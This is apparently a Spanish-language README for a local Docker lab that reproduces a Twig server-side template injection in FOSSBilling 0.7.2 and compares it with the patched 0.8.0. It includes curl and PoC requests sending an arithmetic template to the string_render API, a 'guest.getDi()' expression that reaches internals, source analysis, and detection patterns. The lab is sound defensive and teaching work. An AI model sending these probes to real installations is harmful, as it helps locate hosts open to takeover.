CVE-2026-28496 - Inyección de plantillas del lado del servidor en el renderizado de Twig de FOSSBilling

Resumen ejecutivo

Este repositorio contiene un laboratorio Docker local para reproducir y validar CVE-2026-28496, una vulnerabilidad de inyección de plantillas del lado del servidor que afecta el comportamiento de renderizado de plantillas Twig de FOSSBilling.

FOSSBilling es una plataforma gratuita y de código abierto de facturación y gestión de clientes. Las versiones anteriores a 0.8.0 se ven afectadas por un comportamiento inseguro en el renderizado de plantillas Twig que puede evaluar expresiones de plantilla suministradas. En este laboratorio se utiliza FOSSBilling 0.8.0 como destino de comparación parcheado.

Este laboratorio compara dos versiones de FOSSBilling:

Este laboratorio valida el comportamiento HTTP entre la versión vulnerable y la parcheada utilizando FOSSBilling 0.7.2 y FOSSBilling 0.8.0. El laboratorio está deliberadamente limitado a servicios Docker locales. No apunta a sistemas externos y no incluye webshells, malware, persistencia, devoluciones de llamada externas, volcado de bases de datos ni cargas útiles destructivas. ## Hechos verificados | Afirmación | Evidencia | Cómo verificar en este laboratorio | | ----------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------- | | CVE-2026-28496 afecta a las versiones de FOSSBilling anteriores a 0.8.0. | El CVE público y los metadatos del aviso identifican a FOSSBilling anterior a 0.8.0 como afectado por SSTI de Twig. | Revise la sección de Referencias y compare las versiones objetivo vulnerable y parcheada. | | FOSSBilling 0.7.2 se utiliza como objetivo de comparación vulnerable. | El servicio vulnerable se construye a partir de la imagen Docker oficial `fossbilling/fossbilling:0.7.2`. | Inspeccione `vuln/Dockerfile` y ejecute `docker compose ps -a`. | | FOSSBilling 0.8.0 se utiliza como objetivo de comparación parcheado. | El servicio parcheado se construye a partir de la imagen Docker oficial `fossbilling/fossbilling:0.8.0`. | Inspeccione `patched/Dockerfile` y ejecute `docker compose ps -a`. | | La ruta HTTP vulnerable es `/api/system/system/string_render`. | El objetivo vulnerable devuelve JSON con `result: "49"` para `_tpl={{ 7*7 }}`. | Ejecute `python3 poc/poc.py --url http://localhost:8081`. | | El objetivo parcheado no expone el mismo comportamiento HTTP. | El objetivo parcheado devuelve `Unknown API call system/system/string_render`. | Ejecute `python3 poc/poc.py --url http://localhost:8082`. | | El PoC es solo HTTP. | `poc/poc.py` envía solicitudes HTTP POST y no invoca Docker, Docker Compose, comandos de shell ni API de contenedores. | Inspeccione `poc/poc.py`. | | El laboratorio instala automáticamente ambos objetivos FOSSBilling durante el inicio de Docker Compose. | Los contenedores sidecar del instalador de un solo uso completan la configuración y salen con estado 0. | Ejecute `docker compose ps -a` y `docker compose logs installer-vuln installer-patched`. | | El objetivo vulnerable renderiza la expresión Twig inofensiva. | La respuesta HTTP desde el puerto 8081 es `{"result":"49","error":null}`. | Ejecute el comando PoC vulnerable. | | El objetivo parcheado no renderiza la misma expresión a través de la ruta de API probada. | La respuesta HTTP desde el puerto 8082 es un error de API JSON con código `879`. | Ejecute el comando PoC parcheado. | ## Suposiciones e incógnitas Este laboratorio utiliza FOSSBilling 0.7.2 como objetivo de comparación vulnerable porque la investigación pública de vulnerabilidades identifica las versiones de FOSSBilling anteriores a 0.8.0 como afectadas, y 0.7.2 es la última versión vulnerable utilizada en la cadena probada. Este laboratorio utiliza FOSSBilling 0.8.0 como objetivo de comparación parcheado porque los metadatos del aviso público identifican a 0.8.0 como la versión parcheada. Este laboratorio se centra en el comportamiento HTTP observable de:```text POST /api/system/system/string_render

Template renderer → unsandboxed Twig expression → method/object access may be possible → application internals may become reachable → sensitive services may become reachable ``` El diseño parcheado en FOSSBilling 0.8.0 endurece el comportamiento vulnerable. En este laboratorio, el objetivo parcheado ya no expone la llamada API probada:```json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}} ``` La lección de seguridad es:```text Template engines must not render user-controlled template strings in a privileged application context unless strict authorization and sandbox boundaries are enforced. ``` ## Análisis del código fuente El comportamiento HTTP vulnerable está respaldado por la ruta del código fuente en FOSSBilling 0.7.2. El método de la API recibe `_tpl` de los datos de la solicitud y lo pasa al renderizador del servicio del sistema. Punto de entrada vulnerable relevante:```php public function string_render($data) { if (!isset($data['_tpl'])) { error_log('_tpl parameter not passed'); return ''; } $tpl = $data['_tpl']; $try_render = $data['_try'] ?? false; $vars = $data; unset($vars['_tpl'], $vars['_try']); return $this->getService()->renderString($tpl, $try_render, $vars); } ``` El flujo de datos importante es:```text HTTP request body → _tpl → System\Api\Admin::string_render() → System\Service::renderString() ``` En FOSSBilling 0.7.2, `renderString()` intenta cargar el valor proporcionado como nombre de plantilla. Si eso falla, trata el valor proporcionado como una cadena de plantilla y lo pasa a `createTemplateFromString()`. Flujo vulnerable simplificado:```php public function renderString($tpl, $try_render, $vars) { $twig = $this->di['twig']; try { $template = $twig->load($tpl); $parsed = $template->render($vars); } catch (\Exception) { // $twig->load throws an exception when $tpl is a raw template string $parsed = $this->createTemplateFromString($tpl, $try_render, $vars); } return $parsed; } ``` El sumidero vulnerable es `createTemplateFromString()`:```php public function createTemplateFromString($tpl, $try_render, $vars) { try { $twig = $this->di['twig']; $template = $twig->createTemplate($tpl); $parsed = $template->render($vars); } catch (\Exception $e) { $parsed = $tpl; if (!$try_render) { throw $e; } } return $parsed; } ``` El patrón de fuente relevante para la seguridad es:```text _tpl from request data → used as $tpl → passed to Twig createTemplate() → rendered server-side ``` Esto explica el resultado del laboratorio vulnerable:```text POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"} ``` Respuesta vulnerable:```json {"result":"49","error":null} ``` The value `49` proves that the supplied Twig expression was evaluated server-side. The safe lab payload only uses arithmetic:```twig {{ 7*7 }} ``` Sin embargo, la causa raíz es más sensible desde el punto de vista de la seguridad que la evaluación de expresiones aritméticas. En contextos de renderizado vulnerables, las plantillas Twig pueden interactuar con objetos de la aplicación presentes en el entorno de plantillas. La investigación pública describe cadenas de mayor impacto donde los objetos de contexto de API pueden exponer acceso a componentes internos de la aplicación, como el contenedor de inyección de dependencias. Una verificación de regresión a nivel del código fuente confirmó el comportamiento más profundo:```text FOSSBilling 0.7.2: {{ guest.getDi() }} → DI_VISIBLE FOSSBilling 0.8.0: {{ guest.getDi() }} → blocked by Twig sandbox policy ``` Por eso la vulnerabilidad se entiende mejor como un renderizado de plantillas inseguro, no meramente como un error de evaluación de expresiones estilo calculadora. ## Resumen del Parche de la Fuente FOSSBilling 0.8.0 cambia el comportamiento vulnerable al endurecer el renderizado de cadenas y eliminar el comportamiento HTTP vulnerable probado. En la versión parcheada, el renderizado de cadenas se enruta a través de un renderizado consciente del sandbox en lugar de renderizar directamente cadenas de plantillas arbitrarias con amplias capacidades de Twig. El código del servicio parcheado llama a un renderizador consciente del sandbox:```php $rendered = SandboxedStringRenderer::render( $twig, $tpl, $vars, $errorMessage ); ``` El renderizador en sandbox crea y renderiza una plantilla, pero detecta las violaciones del sandbox de Twig y las convierte en un error controlado de la aplicación:```php final class SandboxedStringRenderer { public static function render( Environment $twig, string $content, array $context = [], string $name = 'template' ): string { try { return $twig->createTemplate($content)->render($context); } catch (SecurityError $e) { throw new InformationException( '%name% contains disallowed Twig syntax: %error%', [ '%name%' => $name, '%error%' => $e->getMessage(), ] ); } } } ``` La política de sandbox bloquea el acceso a métodos y propiedades por defecto:```php $methods = []; $properties = []; ``` El cambio relevante para la seguridad es:```text Before: request-controlled template string → Twig createTemplate() → render without the patched sandbox boundary After: template string rendering → SandboxedStringRenderer → Twig sandbox policy → method/property access denied by default ``` Para la ruta de API HTTP pública probada en este laboratorio, FOSSBilling 0.8.0 no expone la misma llamada de API vulnerable:```json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}} ``` Esto proporciona dos capas de validación útiles:```text HTTP behavior validation: 0.7.2 renders {{ 7*7 }} through /api/system/system/string_render. 0.8.0 does not expose the same API behavior. Source/root-cause validation: 0.7.2 allows unsafe Twig rendering behavior. 0.8.0 introduces sandboxed string rendering and blocks method/property access. ``` El laboratorio mantiene estas dos capas separadas:```text HTTP PoC result proves the vulnerable endpoint behavior. Source patch review explains why unsafe Twig rendering was dangerous and how the patched version hardens it. ``` ## Arquitectura del laboratorio El laboratorio ejecuta dos instalaciones aisladas de FOSSBilling mediante Docker Compose.```text . ├── docker-compose.yml ├── vuln/ │ └── Dockerfile ├── patched/ │ └── Dockerfile ├── poc/ │ └── poc.py ├── scripts/ │ └── auto-install.sh ├── README.md └── .gitignore ``` Los dos servicios FOSSBilling utilizan bases de datos separadas y versiones de aplicación separadas: | Servicio | Componente | Versión / Rol | | ----------------- | ------------ | ------------------------------- | | vuln | FOSSBilling | aplicación objetivo vulnerable | | patched | FOSSBilling | aplicación objetivo parcheada | | vuln-db | MariaDB | base de datos para el objetivo vulnerable | | patched-db | MariaDB | base de datos para el objetivo parcheado | | installer-vuln | curl sidecar | instala automáticamente el objetivo vulnerable | | installer-patched | curl sidecar | instala automáticamente el objetivo parcheado | Servicios expuestos por defecto:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082 ``` El laboratorio utiliza versiones fijadas de FOSSBilling: | Target | FOSSBilling version | Expected behavior | | --------------------- | ------------------: | --------------------------------------------------- | | http://localhost:8081 | 0.7.2 | renders `{{ 7*7 }}` through the vulnerable API path | | http://localhost:8082 | 0.8.0 | does not expose the same vulnerable API behavior | Los sidecars del instalador se ejecutan automáticamente durante `docker compose up`. Inicializan ambos objetivos de FOSSBilling con credenciales locales desechables de base de datos y luego salen. El laboratorio no crea ni modifica la ruta de API vulnerable. La ruta `/api/system/system/string_render` la proporciona la aplicación FOSSBilling en el objetivo 0.7.2 vulnerable después de la instalación. El laboratorio Docker solo instala la aplicación mediante su flujo de instalación normal y luego envía una petición HTTP al endpoint existente de la aplicación. El objetivo 0.8.0 parcheado devuelve `Unknown API call system/system/string_render`, lo que confirma que el comportamiento de la ruta probada proviene de la propia versión de la aplicación y no de una ruta creada por el laboratorio. ## Requisitos * Docker Desktop o Docker Engine * Docker Compose v2 * Python 3 * Acceso a Internet durante la primera descarga de imágenes de Docker No se requiere ningún paquete de Python de terceros. El PoC utiliza únicamente módulos de la biblioteca estándar de Python. ## Inicio rápido Inicia el laboratorio desde un estado limpio:```bash docker compose down -v --remove-orphans docker compose up -d --build ``` Comprobar el estado del servicio:```bash docker compose ps -a ``` Servicios esperados en ejecución:```text cve-2026-28496-vuln cve-2026-28496-patched cve-2026-28496-vuln-db cve-2026-28496-patched-db ``` Servicios de instalación completados esperados:```text cve-2026-28496-installer-vuln Exited (0) cve-2026-28496-installer-patched Exited (0) ``` Revisa los registros del instalador:```bash docker compose logs installer-vuln installer-patched ``` Comprueba las aplicaciones web:```bash curl -i http://127.0.0.1:8081 | head curl -i http://127.0.0.1:8082 | head ``` Ejecuta la validación HTTP contra el objetivo vulnerable:```bash python3 poc/poc.py --url http://localhost:8081 ``` Ejecuta la validación HTTP contra el objetivo parcheado:```bash python3 poc/poc.py --url http://localhost:8082 ``` ## Uso del PoC El PoC acepta una URL base local de FOSSBilling:```bash python3 poc/poc.py --url <target_url> ``` Ejemplos:```bash python3 poc/poc.py --url http://localhost:8081 python3 poc/poc.py --url http://localhost:8082 python3 poc/poc.py --url http://127.0.0.1:8081 python3 poc/poc.py --url http://127.0.0.1:8082 ``` El PoC envía esta petición HTTP:```text POST /api/system/system/string_render Content-Type: application/json ``` Cuerpo de la solicitud:```json {"_tpl":"{{ 7*7 }}"} ``` El PoC es solo HTTP. No llama a Docker, Docker Compose, comandos de shell, WP-CLI ni APIs de contenedores. ## Resultados Esperados ### Objetivo Vulnerable Comando:```bash python3 poc/poc.py --url http://localhost:8081 ``` Señal esperada del objetivo vulnerable:```text CVE-2026-28496 HTTP validation PoC Scope: authorized local lab target only URL: http://localhost:8081 Endpoint: http://localhost:8081/api/system/system/string_render Template: {{ 7*7 }} ===== HTTP response ===== status=200 content-type=application/json; charset=utf-8 {"result":"49","error":null} ===== verdict ===== VULNERABLE/REACHABLE: server rendered {{ 7*7 }} and returned 49. ``` ### Objetivo parcheado Comando:```bash python3 poc/poc.py --url http://localhost:8082 ``` Señal esperada del objetivo parcheado:```text CVE-2026-28496 HTTP validation PoC Scope: authorized local lab target only URL: http://localhost:8082 Endpoint: http://localhost:8082/api/system/system/string_render Template: {{ 7*7 }} ===== HTTP response ===== status=400 content-type=application/json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}} ===== verdict ===== PATCHED/NOT REACHABLE: target did not render the supplied template. ``` La diferencia importante es:```text FOSSBilling 0.7.2 → renders {{ 7*7 }} → returns 49 FOSSBilling 0.8.0 → does not render the supplied template through this API path → returns an API error ``` ## Cómo funciona la validación El validador envía una única solicitud HTTP POST al endpoint de la API de FOSSBilling:```text /api/system/system/string_render ``` El cuerpo de la solicitud contiene una expresión Twig inofensiva:```json {"_tpl":"{{ 7*7 }}"} ``` Comportamiento vulnerable esperado:```text HTTP 200 OK JSON result is "49" ``` Comportamiento esperado tras el parche:```text HTTP 400 Bad Request JSON error indicates the API call is unknown or not reachable ``` Esto confirma que el objetivo vulnerable evalúa la plantilla suministrada en el lado del servidor. El PoC utiliza intencionadamente `{{ 7*7 }}` en lugar de una carga útil destructiva. El objetivo es demostrar la condición técnica de forma segura:```text attacker-controlled template input + server-side Twig evaluation + observable rendered output ``` Para una validación más profunda de la causa raíz a nivel de código fuente, el acceso a métodos es una prueba más sólida del problema subyacente. Sin embargo, el PoC público en este repositorio utiliza la expresión aritmética más segura para evitar demostrar una cadena de alto impacto. ## Reproducción manual HTTP con curl Sonda vulnerable:```bash curl -i -X POST \ 'http://127.0.0.1:8081/api/system/system/string_render' \ -H 'Content-Type: application/json' \ --data '{"_tpl":"{{ 7*7 }}"}' ``` Resultado esperado:```text HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 {"result":"49","error":null} ``` Sonda parcheada:```bash curl -i -X POST \ 'http://127.0.0.1:8082/api/system/system/string_render' \ -H 'Content-Type: application/json' \ --data '{"_tpl":"{{ 7*7 }}"}' ``` Resultado esperado:```text HTTP/1.1 400 Bad Request Content-Type: application/json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}} ``` ## Impact La inyección de plantillas del lado del servidor en una plataforma de facturación y gestión de clientes es sensible a la seguridad porque la aplicación puede almacenar registros de clientes, datos de facturación, credenciales de servidores, configuración de pagos y lógica de automatización controlada por el administrador. La carga útil del laboratorio demostrado es inofensiva y solo evalúa:```twig {{ 7*7 }} ``` Sin embargo, la clase subyacente de vulnerabilidad puede ser más grave cuando la ejecución de plantillas tiene acceso a objetos, métodos o contenedores de servicios de la aplicación. El posible impacto en el mundo real, dependiendo de la configuración y del contexto de plantilla alcanzable, puede incluir: * divulgación de información, * acceso a los internos de la aplicación, * acceso a servicios sensibles de la aplicación, * modificación del estado de la aplicación, * y ejecución remota de código cuando se encadena con una ruta de ejecución adecuada. Este laboratorio demuestra únicamente la señal segura de validación HTTP. No demuestra acceso a credenciales, acceso a bases de datos, instalación de extensiones, ejecución de comandos ni post-explotación. ## Detección y monitoreo Los indicadores potenciales incluyen solicitudes HTTP al endpoint de la API de FOSSBilling:```text /api/system/system/string_render ``` Patrón de solicitud sospechosa:```text POST /api/system/system/string_render Content-Type: application/json ``` Indicadores de cuerpo de solicitud sospechosos:```text _tpl {{ }} Twig syntax ``` Ejemplo de patrón de registro de acceso:```text POST /api/system/system/string_render ``` Ejemplo de payload JSON:```json {"_tpl":"{{ 7*7 }}"} ``` Acciones de monitoreo recomendadas: * Revisar los registros de acceso del servidor web para `/api/system/system/string_render`. * Revisar las solicitudes que contengan `_tpl` en los cuerpos JSON de las solicitudes. * Revisar las solicitudes que contengan sintaxis de Twig, como `{{` y `}}`. * Revisar las respuestas exitosas de la API que contengan salida de plantillas renderizadas. * Revisar las respuestas fallidas de la API para detectar intentos sospechosos de renderizado de plantillas. * Revisar la actividad de los administradores si se sospecha explotación. * Revisar los cambios en la configuración de plantillas, correo electrónico, correo masivo y adaptadores de pago. * Revisar los registros de la aplicación para detectar errores de renderizado de plantillas o llamadas inesperadas a la API. Idea de detección de alta señal:```text POST request to /api/system/system/string_render AND request body contains "_tpl" AND request body contains "{{" ``` Otro artefacto de validación local de alta señal:```text Request body: {"_tpl":"{{ 7*7 }}"} Response body: {"result":"49","error":null} ``` ## Notas de Mitigación y Parche Actualice FOSSBilling a la versión 0.8.0 o posterior. Para entornos de producción, actualice a la última versión disponible en lugar de detenerse en la versión de comparación de laboratorio. Pasos de mitigación recomendados: * Actualice FOSSBilling a 0.8.0 o posterior. * Confirme que la versión instalada no se encuentra en el rango afectado. * Restrinja el acceso público a las rutas administrativas de la API cuando sea posible. * Revise los registros de acceso web para detectar solicitudes a `/api/system/system/string_render`. * Revise plantillas, plantillas de correo electrónico, mailings masivos y adaptadores de pago personalizados para detectar sintaxis Twig sospechosa. * Rote los secretos si se sospecha explotación. * Revise los registros de clientes, facturación, pagos y gestión de servidores para detectar accesos no autorizados. * Trate las reglas WAF o los bloqueos de proxy inverso como controles temporales, no como sustitutos de la actualización. Lecciones de ingeniería de seguridad: * No renderice cadenas de plantilla no confiables en un contexto de aplicación privilegiado. * No exponga contenedores de servicios de aplicación a contextos de plantilla. * Utilice renderizado de plantillas en sandbox para funciones de plantilla controladas por usuarios o administradores. * Deniegue el acceso a métodos y propiedades a menos que se requiera explícitamente. * Mantenga los fallos de autorización de API explícitos y con cierre seguro (fail closed). * Trate las funciones de renderizado de plantillas como superficies adyacentes a la ejecución de código. ## Comandos Útiles de Verificación Compruebe el estado del contenedor:```bash docker compose ps -a ``` Comprueba los registros del instalador:```bash docker compose logs installer-vuln installer-patched ``` Comprobar servicios web:```bash curl -i http://127.0.0.1:8081 | head curl -i http://127.0.0.1:8082 | head ``` Ejecutar validación HTTP vulnerable:```bash python3 poc/poc.py --url http://localhost:8081 ``` Ejecutar validación HTTP parcheada:```bash python3 poc/poc.py --url http://localhost:8082 ``` Solicitud manual vulnerable:```bash curl -i -X POST \ 'http://127.0.0.1:8081/api/system/system/string_render' \ -H 'Content-Type: application/json' \ --data '{"_tpl":"{{ 7*7 }}"}' ``` Solicitud parcheada manualmente:```bash curl -i -X POST \ 'http://127.0.0.1:8082/api/system/system/string_render' \ -H 'Content-Type: application/json' \ --data '{"_tpl":"{{ 7*7 }}"}' ``` Inspeccione el flujo de la fuente vulnerable desde el árbol de código fuente verificado:```bash git checkout 0.7.2 grep -n "function string_render" -A30 src/modules/System/Api/Admin.php grep -n "function renderString" -A70 src/modules/System/Service.php grep -n "function createTemplateFromString" -A30 src/modules/System/Service.php ``` Inspecciona el renderizador de sandbox parcheado desde el árbol de fuentes verificado:```bash git checkout 0.8.0 grep -R "SandboxedStringRenderer" -n src/modules src/library | head -30 grep -R "\$methods = \[\]\|\$properties = \[\]" -n src/library/FOSSBilling/Twig ``` Guardar evidencia de validación:```bash mkdir -p evidence python3 poc/poc.py --url http://localhost:8081 \ | tee evidence/vulnerable-http-validation.txt python3 poc/poc.py --url http://localhost:8082 \ | tee evidence/patched-http-validation.txt docker compose ps -a \ | tee evidence/docker-compose-ps.txt docker compose logs installer-vuln installer-patched \ | tee evidence/installer-logs.txt ``` Verifica los encabezados de respuesta de FOSSBilling:```bash curl -i http://127.0.0.1:8081 | grep -i 'x-fossbilling-version' curl -i http://127.0.0.1:8082 | grep -i 'x-fossbilling-version' ``` ## Limpieza Detén y elimina los contenedores y las redes:```bash docker compose down --remove-orphans ``` Elimina contenedores, redes y volúmenes:```bash docker compose down -v --remove-orphans ``` Elimina los archivos de evidencia locales si se crearon:```bash rm -rf evidence/ ``` ## Límites de seguridad Este laboratorio es únicamente para investigación de seguridad local y demostración controlada. No ejecute el PoC ni solicitudes curl manuales contra sistemas que no sean de su propiedad o para los que no tenga autorización explícita de prueba. No utilice credenciales de producción reales, datos de clientes, datos de pago, claves de API ni secretos de producción en este laboratorio. El alcance previsto se limita a servicios locales de Docker, tales como:```text http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082 ``` El PoC es intencionalmente solo HTTP y de ámbito local. No invoca Docker, Docker Compose, comandos de shell, WP-CLI ni APIs de contenedores. El laboratorio no incluye payloads para: * subida de web shell, * ejecución arbitraria de comandos, * persistencia, * movimiento lateral, * robo de credenciales, * volcado de bases de datos, * acceso a datos de clientes, * acceso a credenciales de pago, * o callbacks externos. El objetivo es demostrar una condición técnica específica en un entorno controlado:```text HTTP request + FOSSBilling string_render API path + Twig template expression + vulnerable target renders the expression + patched target does not render the expression ``` ## Referencias * Registro CVE: CVE-2026-28496 https://www.cve.org/CVERecord?id=CVE-2026-28496 * Aviso de GitHub: GHSA-57mv-jm88-66jc https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc * VulnCheck: Bypass de autenticación en FOSSBilling y SSTI de Twig que conduce a RCE no autenticado https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce * Documentación de Docker para FOSSBilling https://docs.fossbilling.org/getting-started/docker/ * Repositorio de GitHub de FOSSBilling https://github.com/FOSSBilling/FOSSBilling * Imagen de Docker de FOSSBilling https://hub.docker.com/r/fossbilling/fossbilling * Documentación de Twig: Extensión Sandbox https://twig.symfony.com/doc/3.x/sandbox.html

CVE-2026-28496-Lab

Más Populares

vuln	0.7.2	Destino vulnerable de comparación	http://localhost:8081
patched	0.8.0	Destino parcheado de comparación	http://localhost:8082